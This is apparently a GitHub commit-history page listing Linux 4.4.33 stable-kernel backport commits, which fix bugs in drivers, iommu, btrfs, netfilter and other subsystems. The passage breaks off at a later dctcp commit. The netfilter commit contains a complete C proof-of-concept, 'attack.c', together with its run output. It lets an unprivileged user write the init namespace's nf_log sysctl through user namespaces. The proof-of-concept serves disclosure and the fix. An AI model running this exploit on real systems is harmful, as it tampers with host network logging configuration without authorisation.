    Fixes: 36b30d6 ("staging: nvec: ps2: change serio type to passthrough")
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    paulfertser authored and gregkh committed Nov 18, 2016
    Configuration menu
    Copy the full SHA
    4aa859e View commit details
    Browse the repository at this point in the history
  14. staging: nvec: remove managed resource from PS2 driver

    commit 68fae2f upstream.
    
    This basicly reverts commit e534f3e (staging:nvec: Introduce the use of
    the managed version of kzalloc). Serio struct should never by managed
    because it is refcounted. Doing so will lead to a double free oops on module
    remove.
    
    Signed-off-by: Marc Dietrich <[email protected]>
    Fixes: e534f3e ("staging:nvec: Introduce the use of the managed version of kzalloc")
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    marvintwentyfour authored and gregkh committed Nov 18, 2016
    Configuration menu
    Copy the full SHA
    290ffd5 View commit details
    Browse the repository at this point in the history
  15. USB: cdc-acm: fix TIOCMIWAIT

    commit 1826640 upstream.
    
    The TIOCMIWAIT implementation would return -EINVAL if any of the three
    supported signals were included in the mask.
    
    Instead of returning an error in case TIOCM_CTS is included, simply
    drop the mask check completely, which is in accordance with how other
    drivers implement this ioctl.
    
    Fixes: 5a6a62b ("cdc-acm: add TIOCMIWAIT")
    Signed-off-by: Johan Hovold <[email protected]>
    Acked-by: Oliver Neukum <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    jhovold authored and gregkh committed Nov 18, 2016
    Configuration menu
    Copy the full SHA
    0ab4186 View commit details
    Browse the repository at this point in the history
  16. usb: gadget: u_ether: remove interrupt throttling

    commit fd9afd3 upstream.
    
    According to Dave Miller "the networking stack has a
    hard requirement that all SKBs which are transmitted
    must have their completion signalled in a fininte
    amount of time. This is because, until the SKB is
    freed by the driver, it holds onto socket,
    netfilter, and other subsystem resources."
    
    In summary, this means that using TX IRQ throttling
    for the networking gadgets is, at least, complex and
    we should avoid it for the time being.
    
    Reported-by: Ville Syrjälä <[email protected]>
    Tested-by: Ville Syrjälä <[email protected]>
    Suggested-by: David Miller <[email protected]>
    Signed-off-by: Felipe Balbi <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Felipe Balbi authored and gregkh committed Nov 18, 2016
    Configuration menu
    Copy the full SHA
    f1de322 View commit details
    Browse the repository at this point in the history
  17. drbd: Fix kernel_sendmsg() usage - potential NULL deref

    commit d8e9e5e upstream.
    
    Don't pass a size larger than iov_len to kernel_sendmsg().
    Otherwise it will cause a NULL pointer deref when kernel_sendmsg()
    returns with rv < size.
    
    DRBD as external module has been around in the kernel 2.4 days already.
    We used to be compatible to 2.4 and very early 2.6 kernels,
    we used to use
     rv = sock_sendmsg(sock, &msg, iov.iov_len);
    then later changed to
     rv = kernel_sendmsg(sock, &msg, &iov, 1, size);
    when we should have used
     rv = kernel_sendmsg(sock, &msg, &iov, 1, iov.iov_len);
    
    tcp_sendmsg() used to totally ignore the size parameter.
     57be5bd ip: convert tcp_sendmsg() to iov_iter primitives
    changes that, and exposes our long standing error.
    
    Even with this error exposed, to trigger the bug, we would need to have
    an environment (config or otherwise) causing us to not use sendpage()
    for larger transfers, a failing connection, and have it fail "just at the
    right time".  Apparently that was unlikely enough for most, so this went
    unnoticed for years.
    
    Still, it is known to trigger at least some of these,
    and suspected for the others:
    [0] http://lists.linbit.com/pipermail/drbd-user/2016-July/023112.html
    [1] http://lists.linbit.com/pipermail/drbd-dev/2016-March/003362.html
    [2] https://forums.grsecurity.net/viewtopic.php?f=3&t=4546
    [3] https://ubuntuforums.org/showthread.php?t=2336150
    [4] http://e2.howsolveproblem.com/i/1175162/
    
    This should go into 4.9,
    and into all stable branches since and including v4.0,
    which is the first to contain the exposing change.
    
    It is correct for all stable branches older than that as well
    (which contain the DRBD driver; which is 2.6.33 and up).
    
    It requires a small "conflict" resolution for v4.4 and earlier, with v4.5
    we dropped the comment block immediately preceding the kernel_sendmsg().
    
    Fixes: b411b36 ("The DRBD driver")
    Cc: [email protected]
    Cc: [email protected]
    Cc: [email protected]
    Reported-by: Christoph Lechleitner <[email protected]>
    Tested-by: Christoph Lechleitner <[email protected]>
    Signed-off-by: Richard Weinberger <[email protected]>
    [changed oneliner to be "obvious" without context; more verbose message]
    Signed-off-by: Lars Ellenberg <[email protected]>
    Signed-off-by: Jens Axboe <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    richardweinberger authored and gregkh committed Nov 18, 2016
    Configuration menu
    Copy the full SHA
    f523dee View commit details
    Browse the repository at this point in the history
  18. toshiba-wmi: Fix loading the driver on non Toshiba laptops

    commit 1c80e96 upstream.
    
    Bug 150611 uncovered that the WMI ID used by the toshiba-wmi driver
    is not Toshiba specific, and as such, the driver was being loaded
    on non Toshiba laptops too.
    
    This patch adds a DMI matching list checking for TOSHIBA as the
    vendor, refusing to load if it is not.
    
    Also the WMI GUID was renamed, dropping the TOSHIBA_ prefix, to
    better reflect that such GUID is not a Toshiba specific one.
    
    Signed-off-by: Azael Avalos <[email protected]>
    Signed-off-by: Darren Hart <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Coproscefalo authored and gregkh committed Nov 18, 2016
    Configuration menu
    Copy the full SHA
    2c5cdad View commit details
    Browse the repository at this point in the history
  19. clk: qoriq: Don't allow CPU clocks higher than starting value

    commit 7c1c541 upstream.
    
    The boot-time frequency of a CPU is considered its rated maximum, as we
    have no other source of such information.  However, this was previously
    only used for chips with 80% restrictions on secondary PLLs.  This
    usually wasn't a problem because most chips/configs boot with a divider
    of /1, with other dividers being used only for dynamic frequency
    reduction.  However, at least one config (LS1021A at less than 1 GHz)
    uses a different divider for top speed.  This was causing cpufreq to set
    a frequency beyond the chip's rated speed.
    
    This is fixed by applying a 100%-of-initial-speed limit to all CPU PLLs,
    similar to the existing 80% limit that only applied to some.
    
    Signed-off-by: Scott Wood <[email protected]>
    Signed-off-by: Stephen Boyd <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Scott Wood authored and gregkh committed Nov 18, 2016
    Configuration menu
    Copy the full SHA
    dbbc5e6 View commit details
    Browse the repository at this point in the history
  20. iio: hid-sensors: Increase the precision of scale to fix wrong readin…

    …g interpretation.
    
    commit 6f77199 upstream.
    
    While testing, it was observed that on some platforms the scale value
    from iio sysfs for gyroscope is always 0 (E.g. Yoga 260). This results
    in the final angular velocity component values to be zeros.
    
    This is caused by insufficient precision of scale value displayed in sysfs.
    If the precision is changed to nano from current micro, then this is
    sufficient to display the scale value on this platform.
    Since this can be a problem for all other HID sensors, increase scale
    precision of all HID sensors to nano from current micro.
    
    Results on Yoga 260:
    
    name		scale before	scale now
    --------------------------------------------
    gyro_3d		0.000000	0.000000174
    als			0.001000	0.001000000
    magn_3d		0.000001	0.000001000
    accel_3d		0.000009	0.000009806
    
    Signed-off-by: Song Hongyan <[email protected]>
    Acked-by: Srinivas Pandruvada <[email protected]>
    Signed-off-by: Jonathan Cameron <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    hongyans authored and gregkh committed Nov 18, 2016
    Configuration menu
    Copy the full SHA
    caff14e View commit details
    Browse the repository at this point in the history
  21. iio: orientation: hid-sensor-rotation: Add PM function (fix non worki…

    …ng driver)
    
    commit 8af644a upstream.
    
    This fix makes newer ISH hubs work. Previous ones worked by lucky
    coincidence.
    
    Rotation sensor function does not work due to miss PM function.
    Add common hid sensor iio pm function for rotation sensor.
    
    Further clarification from Srinivas:
    
    If CONFIG_PM is not defined, then this prevents this sensor to
    function. So above commit caused this.
    
    This sensor was supposed to be always on to trigger wake up in prior
    external hubs. But with the new ISH hub this is not the case.
    
    Signed-off-by: Song Hongyan <[email protected]>
    Fixes: 2b89635 ("iio: hid_sensor_hub: Common PM functions")
    Signed-off-by: Jonathan Cameron <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    hongyans authored and gregkh committed Nov 18, 2016
    Configuration menu
    Copy the full SHA
    29cf142 View commit details
    Browse the repository at this point in the history
  22. scsi: qla2xxx: Fix scsi scan hang triggered if adapter fails during init

    commit a5dd506 upstream.
    
    A system can get hung task timeouts if a qlogic board fails during
    initialization (if the board breaks again or fails the init). The hang
    involves the scsi scan.
    
    In a nutshell, since commit beb9e31 ("qla2xxx: Prevent removal and
    board_disable race"):
    
    ...it is possible to have freed ha (base_vha->hw) early by a call to
    qla2x00_remove_one when pdev->enable_cnt equals zero:
    
           if (!atomic_read(&pdev->enable_cnt)) {
                   scsi_host_put(base_vha->host);
                   kfree(ha);
                   pci_set_drvdata(pdev, NULL);
                   return;
    
    Almost always, the scsi_host_put above frees the vha structure
    (attached to the end of the Scsi_Host we're putting) since it's the last
    put, and life is good.  However, if we are entering this routine because
    the adapter has broken sometime during initialization AND a scsi scan is
    already in progress (and has done its own scsi_host_get), vha will not
    be freed. What's worse, the scsi scan will access the freed ha structure
    through qla2xxx_scan_finished:
    
            if (time > vha->hw->loop_reset_delay * HZ)
                    return 1;
    
    The scsi scan keeps checking to see if a scan is complete by calling
    qla2xxx_scan_finished. There is a timeout value that limits the length
    of time a scan can take (hw->loop_reset_delay, usually set to 5
    seconds), but this definition is in the data structure (hw) that can get
    freed early.
    
    This can yield unpredictable results, the worst of which is that the
    scsi scan can hang indefinitely. This happens when the freed structure
    gets reused and loop_reset_delay gets overwritten with garbage, which
    the scan obliviously uses as its timeout value.
    
    The fix for this is simple: at the top of qla2xxx_scan_finished, check
    for the UNLOADING bit in the vha structure (_vha is not freed at this
    point).  If UNLOADING is set, we exit the scan for this adapter
    immediately. After this last reference to the ha structure, we'll exit
    the scan for this adapter, and continue on.
    
    This problem is hard to hit, but I have run into it doing negative
    testing many times now (with a test specifically designed to bring it
    out), so I can verify that this fix works. My testing has been against a
    RHEL7 driver variant, but the bug and patch are equally relevant to to
    the upstream driver.
    
    Fixes: beb9e31 ("qla2xxx: Prevent removal and board_disable race")
    Signed-off-by: Bill Kuzeja <[email protected]>
    Acked-by: Himanshu Madhani <[email protected]>
    Signed-off-by: Martin K. Petersen <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    bkstratus authored and gregkh committed Nov 18, 2016
    Configuration menu
    Copy the full SHA
    6e897d0 View commit details
    Browse the repository at this point in the history
  23. scsi: mpt3sas: Fix for block device of raid exists even after deletin…

    …g raid disk
    
    commit 6d3a56e upstream.
    
    While merging mpt3sas & mpt2sas code, we added the is_warpdrive check
    condition on the wrong line
    
    ---------------------------------------------------------------------------
     scsih_target_alloc(struct scsi_target *starget)
                            sas_target_priv_data->handle = raid_device->handle;
                            sas_target_priv_data->sas_address = raid_device->wwid;
                            sas_target_priv_data->flags |= MPT_TARGET_FLAGS_VOLUME;
    -                       raid_device->starget = starget;
    +                       sas_target_priv_data->raid_device = raid_device;
    +                       if (ioc->is_warpdrive)
    +                               raid_device->starget = starget;
                    }
                    spin_unlock_irqrestore(&ioc->raid_device_lock, flags);
                    return 0;
    ------------------------------------------------------------------------------
    
    That check should be for the line sas_target_priv_data->raid_device =
    raid_device;
    
    Due to above hunk, we are not initializing raid_device's starget for
    raid volumes, and so during raid disk deletion driver is not calling
    scsi_remove_target() API as driver observes starget field of
    raid_device's structure as NULL.
    
    Signed-off-by: Sreekanth Reddy <[email protected]>
    Fixes: 7786ab6 ("mpt3sas: Ported WarpDrive product SSS6200 support")
    Signed-off-by: Martin K. Petersen <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    sreekanthbrcm authored and gregkh committed Nov 18, 2016
    Configuration menu
    Copy the full SHA
    d245874 View commit details
    Browse the repository at this point in the history
  24. KVM: MIPS: Precalculate MMIO load resume PC

    commit e1e575f upstream.
    
    The advancing of the PC when completing an MMIO load is done before
    re-entering the guest, i.e. before restoring the guest ASID. However if
    the load is in a branch delay slot it may need to access guest code to
    read the prior branch instruction. This isn't safe in TLB mapped code at
    the moment, nor in the future when we'll access unmapped guest segments
    using direct user accessors too, as it could read the branch from host
    user memory instead.
    
    Therefore calculate the resume PC in advance while we're still in the
    right context and save it in the new vcpu->arch.io_pc (replacing the no
    longer needed vcpu->arch.pending_load_cause), and restore it on MMIO
    completion.
    
    Fixes: e685c68 ("KVM/MIPS32: Privileged instruction/target branch emulation.")
    Signed-off-by: James Hogan <[email protected]>
    Cc: Paolo Bonzini <[email protected]>
    Cc: "Radim Krčmář" <[email protected]>
    Cc: Ralf Baechle <[email protected]>
    Cc: [email protected]
    Cc: [email protected]
    Signed-off-by: Paolo Bonzini <[email protected]>
    [[email protected]: Backport to 3.18..4.4]
    Signed-off-by: James Hogan <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    James Hogan authored and gregkh committed Nov 18, 2016
    Configuration menu
    Copy the full SHA
    d7b0055 View commit details
    Browse the repository at this point in the history
  25. drm/i915: Respect alternate_ddc_pin for all DDI ports

    commit 8d83bc2 upstream.
    
    The VBT provides the platform a way to mix and match the DDI ports vs.
    GMBUS pins. Currently we only trust the VBT for DDI E, which I suppose
    has no standard GMBUS pin assignment. However, there are machines out
    there that use a non-standard mapping for the other ports as well.
    Let's start trusting the VBT on this one for all ports on DDI platforms.
    
    I've structured the code such that other platforms could easily start
    using this as well, by simply filling in the ddi_port_info. IIRC there
    may be CHV system that might actually need this.
    
    v2: Include a commit message, include a debug message during init
    
    Cc: Maarten Maathuis <[email protected]>
    Tested-by: Maarten Maathuis <[email protected]>
    Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=97877
    Signed-off-by: Ville Syrjälä <[email protected]>
    Link: http://patchwork.freedesktop.org/patch/msgid/[email protected]
    Reviewed-by: Jim Bride <[email protected]>
    (cherry picked from commit e4ab73a)
    Signed-off-by: Jani Nikula <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    vsyrjala authored and gregkh committed Nov 18, 2016
    Configuration menu
    Copy the full SHA
    fff40ee View commit details
    Browse the repository at this point in the history
  26. dmaengine: at_xdmac: fix spurious flag status for mem2mem transfers

    commit 95da0c1 upstream.
    
    When setting the channel configuration register, the perid field is not
    set to 0 since it is useless for mem2mem transfers. Unfortunately, a
    device has 0 as perid. It could cause spurious flags status because
    the controller could mix some events from the two channels.
    For that reason, use the highest perid value for mem2mem transfers since it
    doesn't match the perid of other devices.
    
    Signed-off-by: Ludovic Desroches <[email protected]>
    Acked-by: Nicolas Ferre <[email protected]>
    Signed-off-by: Vinod Koul <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    ldesroches authored and gregkh committed Nov 18, 2016
    Configuration menu
    Copy the full SHA
    4916339 View commit details
    Browse the repository at this point in the history
  27. tty/serial: at91: fix hardware handshake on Atmel platforms

    commit 9bcffe7 upstream.
    
    After commit 1cf6e8f ("tty/serial: at91: fix RTS line management
    when hardware handshake is enabled"), the hardware handshake wasn't
    functional anymore on Atmel platforms (beside SAMA5D2).
    
    To understand why, one has to understand the flag ATMEL_US_USMODE_HWHS
    first:
    Before commit 1cf6e8f ("tty/serial: at91: fix RTS line management
    when hardware handshake is enabled"), this flag was never set.
    Thus, the CTS/RTS where only handled by serial_core (and everything
    worked just fine).
    
    This commit introduced the use of the ATMEL_US_USMODE_HWHS flag,
    enabling it for all boards when the user space enables flow control.
    
    When the ATMEL_US_USMODE_HWHS is set, the Atmel USART controller
    handles a part of the flow control job:
    - disable the transmitter when the CTS pin gets high.
    - drive the RTS pin high when the DMA buffer transfer is completed or
      PDC RX buffer full or RX FIFO is beyond threshold. (depending on the
      controller version).
    
    NB: This feature is *not* mandatory for the flow control to work.
    (Nevertheless, it's very useful if low latencies are needed.)
    
    Now, the specifics of the ATMEL_US_USMODE_HWHS flag:
    
    - For platforms with DMAC and no FIFOs (sam9x25, sam9x35, sama5D3,
    sama5D4, sam9g15, sam9g25, sam9g35)* this feature simply doesn't work.
    ( source: https://lkml.org/lkml/2016/9/7/598 )
    Tested it on sam9g35, the RTS pins always stays up, even when RXEN=1
    or a new DMA transfer descriptor is set.
    => ATMEL_US_USMODE_HWHS must not be used for those platforms
    
    - For platforms with a PDC (sam926{0,1,3}, sam9g10, sam9g20, sam9g45,
    sam9g46)*, there's another kind of problem. Once the flag
    ATMEL_US_USMODE_HWHS is set, the RTS pin can't be driven anymore via
    RTSEN/RTSDIS in USART Control Register. The RTS pin can only be driven
    by enabling/disabling the receiver or setting RCR=RNCR=0 in the PDC
    (Receive (Next) Counter Register).
    => Doing this is beyond the scope of this patch and could add other
    bugs, so the original (and working) behaviour should be set for those
    platforms (meaning ATMEL_US_USMODE_HWHS flag should be unset).
    
    - For platforms with a FIFO (sama5d2)*, the RTS pin is driven according
    to the RX FIFO thresholds, and can be also driven by RTSEN/RTSDIS in
    USART Control Register. No problem here.
    (This was the use case of commit 1cf6e8f ("tty/serial: at91: fix
    RTS line management when hardware handshake is enabled"))
    NB: If the CTS pin declared as a GPIO in the DTS, (for instance
    cts-gpios = <&pioA PIN_PB31 GPIO_ACTIVE_LOW>), the transmitter will be
    disabled.
    => ATMEL_US_USMODE_HWHS flag can be set for this platform ONLY IF the
    CTS pin is not a GPIO.
    
    So, the only case when ATMEL_US_USMODE_HWHS can be enabled is when
    (atmel_use_fifo(port) &&
     !mctrl_gpio_to_gpiod(atmel_port->gpios, UART_GPIO_CTS))
    
    Tested on all Atmel USART controller flavours:
    AT91SAM9G35-CM (DMAC flavour), AT91SAM9G20-EK (PDC flavour),
    SAMA5D2xplained (FIFO flavour).
    
    * the list may not be exhaustive
    
    Fixes: 1cf6e8f ("tty/serial: at91: fix RTS line management when hardware handshake is enabled")
    Signed-off-by: Richard Genoud <[email protected]>
    Acked-by: Alexandre Belloni <[email protected]>
    Acked-by: Cyrille Pitchen <[email protected]>
    Acked-by: Uwe Kleine-König <[email protected]>
    [[email protected]: adapt to 4.4.x kernel for stable by adding
    the atmel_port variable declaration which was missing]
    Signed-off-by: Nicolas Ferre <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    rgenoud authored and gregkh committed Nov 18, 2016
    Configuration menu
    Copy the full SHA
    f5bb841 View commit details
    Browse the repository at this point in the history
  28. iommu/amd: Free domain id when free a domain of struct dma_ops_domain

    commit c3db901 upstream.
    
    The current code missed freeing domain id when free a domain of
    struct dma_ops_domain.
    
    Signed-off-by: Baoquan He <[email protected]>
    Fixes: ec487d1 ('x86, AMD IOMMU: add domain allocation and deallocation functions')
    Signed-off-by: Joerg Roedel <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Baoquan He authored and gregkh committed Nov 18, 2016
    Configuration menu
    Copy the full SHA
    f029e7b View commit details
    Browse the repository at this point in the history
  29. iommu/vt-d: Fix dead-locks in disable_dmar_iommu() path

    commit bea6403 upstream.
    
    It turns out that the disable_dmar_iommu() code-path tried
    to get the device_domain_lock recursivly, which will
    dead-lock when this code runs on dmar removal. Fix both
    code-paths that could lead to the dead-lock.
    
    Fixes: 55d9404 ('iommu/vt-d: Get rid of domain->iommu_lock')
    Signed-off-by: Joerg Roedel <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    joergroedel authored and gregkh committed Nov 18, 2016
    Configuration menu
    Copy the full SHA
    19426f0 View commit details
    Browse the repository at this point in the history
  30. mei: bus: fix received data size check in NFC fixup

    commit 582ab27 upstream.
    
    NFC version reply size checked against only header size, not against
    full message size. That may lead potentially to uninitialized memory access
    in version data.
    
    That leads to warnings when version data is accessed:
    drivers/misc/mei/bus-fixup.c: warning: '*((void *)&ver+11)' may be used uninitialized in this function [-Wuninitialized]:  => 212:2
    
    Reported in
    Build regressions/improvements in v4.9-rc3
    https://lkml.org/lkml/2016/10/30/57
    
    Fixes: 59fcd7c (mei: nfc: Initial nfc implementation)
    Signed-off-by: Alexander Usyskin <[email protected]>
    Signed-off-by: Tomas Winkler <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    ausyskin authored and gregkh committed Nov 18, 2016
    Configuration menu
    Copy the full SHA
    c048b67 View commit details
    Browse the repository at this point in the history
  31. lib/genalloc.c: start search from start of chunk

    commit 62e931f upstream.
    
    gen_pool_alloc_algo() iterates over the chunks of a pool trying to find
    a contiguous block of memory that satisfies the allocation request.
    
    The shortcut
    
    	if (size > atomic_read(&chunk->avail))
    		continue;
    
    makes the loop skip over chunks that do not have enough bytes left to
    fulfill the request.  There are two situations, though, where an
    allocation might still fail:
    
    (1) The available memory is not contiguous, i.e.  the request cannot
        be fulfilled due to external fragmentation.
    
    (2) A race condition.  Another thread runs the same code concurrently
        and is quicker to grab the available memory.
    
    In those situations, the loop calls pool->algo() to search the entire
    chunk, and pool->algo() returns some value that is >= end_bit to
    indicate that the search failed.  This return value is then assigned to
    start_bit.  The variables start_bit and end_bit describe the range that
    should be searched, and this range should be reset for every chunk that
    is searched.  Today, the code fails to reset start_bit to 0.  As a
    result, prefixes of subsequent chunks are ignored.  Memory allocations
    might fail even though there is plenty of room left in these prefixes of
    those other chunks.
    
    Fixes: 7f18427 ("lib, Make gen_pool memory allocator lockless")
    Link: http://lkml.kernel.org/r/[email protected]
    Signed-off-by: Daniel Mentz <[email protected]>
    Reviewed-by: Mathieu Desnoyers <[email protected]>
    Acked-by: Will Deacon <[email protected]>
    Signed-off-by: Andrew Morton <[email protected]>
    Signed-off-by: Linus Torvalds <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    danielmentzgoogle authored and gregkh committed Nov 18, 2016
    Configuration menu
    Copy the full SHA
    ba8580f View commit details
    Browse the repository at this point in the history
  32. hwrng: core - Don't use a stack buffer in add_early_randomness()

    commit 6d4952d upstream.
    
    hw_random carefully avoids using a stack buffer except in
    add_early_randomness().  This causes a crash in virtio_rng if
    CONFIG_VMAP_STACK=y.
    
    Reported-by: Matt Mullins <[email protected]>
    Tested-by: Matt Mullins <[email protected]>
    Fixes: d3cc799 ("hwrng: fetch randomness only after device init")
    Signed-off-by: Andy Lutomirski <[email protected]>
    Signed-off-by: Herbert Xu <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    amluto authored and gregkh committed Nov 18, 2016
    Configuration menu
    Copy the full SHA
    5be7e6b View commit details
    Browse the repository at this point in the history
  33. i40e: fix call of ndo_dflt_bridge_getlink()

    commit 599b076 upstream.
    
    Order of arguments is wrong.
    The wrong code has been introduced by commit 7d4f8d8, but is compiled
    only since commit 9df70b6.
    
    Note that this may break netlink dumps.
    
    Fixes: 9df70b6 ("i40e: Remove incorrect #ifdef's")
    Fixes: 7d4f8d8 ("switchdev; add VLAN support for port's bridge_getlink")
    CC: Carolyn Wyborny <[email protected]>
    Signed-off-by: Huaibin Wang <[email protected]>
    Signed-off-by: Nicolas Dichtel <[email protected]>
    Tested-by: Andrew Bowers <[email protected]>
    Signed-off-by: Jeff Kirsher <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Huaibin Wang authored and gregkh committed Nov 18, 2016
    Configuration menu
    Copy the full SHA
    5cd2cd8 View commit details
    Browse the repository at this point in the history
  34. ACPI / APEI: Fix incorrect return value of ghes_proc()

    commit 806487a upstream.
    
    Although ghes_proc() tests for errors while reading the error status,
    it always return success (0). Fix this by propagating the return
    value.
    
    Fixes: d334a49 (ACPI, APEI, Generic Hardware Error Source memory error support)
    Signed-of-by: Punit Agrawal <[email protected]>
    Tested-by: Tyler Baicar <[email protected]>
    Reviewed-by: Borislav Petkov <[email protected]>
    [ rjw: Subject ]
    Signed-off-by: Rafael J. Wysocki <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    punitagrawal authored and gregkh committed Nov 18, 2016
    Configuration menu
    Copy the full SHA
    125e847 View commit details
    Browse the repository at this point in the history
  35. ASoC: sun4i-codec: return error code instead of NULL when create_card…

    … fails
    
    commit 85915b6 upstream.
    
    When sun4i_codec_create_card fails, we do not assign a proper error
    code to the return value. The return value would be 0 from the previous
    function call, or we would have bailed out sooner. This would confuse
    the driver core into thinking the device probe succeeded, when in fact
    it didn't, leaving various devres based resources lingering.
    
    Make the create_card function pass back a meaningful error code, and
    assign it to the return value.
    
    Fixes: 45fb6b6 ("ASoC: sunxi: add support for the on-chip codec on
    		      early Allwinner SoCs")
    Signed-off-by: Chen-Yu Tsai <[email protected]>
    Signed-off-by: Mark Brown <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    wens authored and gregkh committed Nov 18, 2016
    Configuration menu
    Copy the full SHA
    ae5b8db View commit details
    Browse the repository at this point in the history
  36. mmc: mxs: Initialize the spinlock prior to using it

    commit f91346e upstream.
    
    An interrupt may occur right after devm_request_irq() is called and
    prior to the spinlock initialization, leading to a kernel oops,
    as the interrupt handler uses the spinlock.
    
    In order to prevent this problem, move the spinlock initialization
    prior to requesting the interrupts.
    
    Fixes: e4243f1 (mmc: mxs-mmc: add mmc host driver for i.MX23/28)
    Signed-off-by: Fabio Estevam <[email protected]>
    Reviewed-by: Marek Vasut <[email protected]>
    Signed-off-by: Ulf Hansson <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Fabio Estevam authored and gregkh committed Nov 18, 2016
    Configuration menu
    Copy the full SHA
    ae6d4df View commit details
    Browse the repository at this point in the history
  37. btrfs: qgroup: Prevent qgroup->reserved from going subzero

    commit 0b34c26 upstream.
    
    While free'ing qgroup->reserved resources, we much check if
    the page has not been invalidated by a truncate operation
    by checking if the page is still dirty before reducing the
    qgroup resources. Resources in such a case are free'd when
    the entire extent is released by delayed_ref.
    
    This fixes a double accounting while releasing resources
    in case of truncating a file, reproduced by the following testcase.
    
    SCRATCH_DEV=/dev/vdb
    SCRATCH_MNT=/mnt
    mkfs.btrfs -f $SCRATCH_DEV
    mount -t btrfs $SCRATCH_DEV $SCRATCH_MNT
    cd $SCRATCH_MNT
    btrfs quota enable $SCRATCH_MNT
    btrfs subvolume create a
    btrfs qgroup limit 500m a $SCRATCH_MNT
    sync
    for c in {1..15}; do
    dd if=/dev/zero  bs=1M count=40 of=$SCRATCH_MNT/a/file;
    done
    
    sleep 10
    sync
    sleep 5
    
    touch $SCRATCH_MNT/a/newfile
    
    echo "Removing file"
    rm $SCRATCH_MNT/a/file
    
    Fixes: b9d0b38 ("btrfs: Add handler for invalidate page")
    Signed-off-by: Goldwyn Rodrigues <[email protected]>
    Reviewed-by: Qu Wenruo <[email protected]>
    Signed-off-by: David Sterba <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    goldwynr authored and gregkh committed Nov 18, 2016
    Configuration menu
    Copy the full SHA
    ee5dd68 View commit details
    Browse the repository at this point in the history
  38. netfilter: fix namespace handling in nf_log_proc_dostring

    commit dbb5918 upstream.
    
    nf_log_proc_dostring() used current's network namespace instead of the one
    corresponding to the sysctl file the write was performed on. Because the
    permission check happens at open time and the nf_log files in namespaces
    are accessible for the namespace owner, this can be abused by an
    unprivileged user to effectively write to the init namespace's nf_log
    sysctls.
    
    Stash the "struct net *" in extra2 - data and extra1 are already used.
    
    Repro code:
    
    #define _GNU_SOURCE
    #include <stdlib.h>
    #include <sched.h>
    #include <err.h>
    #include <sys/mount.h>
    #include <sys/types.h>
    #include <sys/wait.h>
    #include <fcntl.h>
    #include <unistd.h>
    #include <string.h>
    #include <stdio.h>
    
    char child_stack[1000000];
    
    uid_t outer_uid;
    gid_t outer_gid;
    int stolen_fd = -1;
    
    void writefile(char *path, char *buf) {
            int fd = open(path, O_WRONLY);
            if (fd == -1)
                    err(1, "unable to open thing");
            if (write(fd, buf, strlen(buf)) != strlen(buf))
                    err(1, "unable to write thing");
            close(fd);
    }
    
    int child_fn(void *p_) {
            if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC,
                      NULL))
                    err(1, "mount");
    
            /* Yes, we need to set the maps for the net sysctls to recognize us
             * as namespace root.
             */
            char buf[1000];
            sprintf(buf, "0 %d 1\n", (int)outer_uid);
            writefile("/proc/1/uid_map", buf);
            writefile("/proc/1/setgroups", "deny");
            sprintf(buf, "0 %d 1\n", (int)outer_gid);
            writefile("/proc/1/gid_map", buf);
    
            stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY);
            if (stolen_fd == -1)
                    err(1, "open nf_log");
            return 0;
    }
    
    int main(void) {
            outer_uid = getuid();
            outer_gid = getgid();
    
            int child = clone(child_fn, child_stack + sizeof(child_stack),
                              CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID
                              |CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL);
            if (child == -1)
                    err(1, "clone");
            int status;
            if (wait(&status) != child)
                    err(1, "wait");
            if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
                    errx(1, "child exit status bad");
    
            char *data = "NONE";
            if (write(stolen_fd, data, strlen(data)) != strlen(data))
                    err(1, "write");
            return 0;
    }
    
    Repro:
    
    $ gcc -Wall -o attack attack.c -std=gnu99
    $ cat /proc/sys/net/netfilter/nf_log/2
    nf_log_ipv4
    $ ./attack
    $ cat /proc/sys/net/netfilter/nf_log/2
    NONE
    
    Because this looks like an issue with very low severity, I'm sending it to
    the public list directly.
    
    Signed-off-by: Jann Horn <[email protected]>
    Signed-off-by: Pablo Neira Ayuso <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    thejh authored and gregkh committed Nov 18, 2016
    Configuration menu
    Copy the full SHA
    21cc1a1 View commit details
    Browse the repository at this point in the history
  39. Linux 4.4.33

    gregkh committed Nov 18, 2016
    Configuration menu
    Copy the full SHA
    86429bd View commit details
    Browse the repository at this point in the history

Commits on Nov 21, 2016

  1. dctcp: avoid bogus doubling of cwnd after loss

    [ Upstream commit ce6dd23 ]
    
    If a congestion control module doesn't provide .undo_cwnd function,
    tcp_undo_cwnd_reduction() will set cwnd to
    
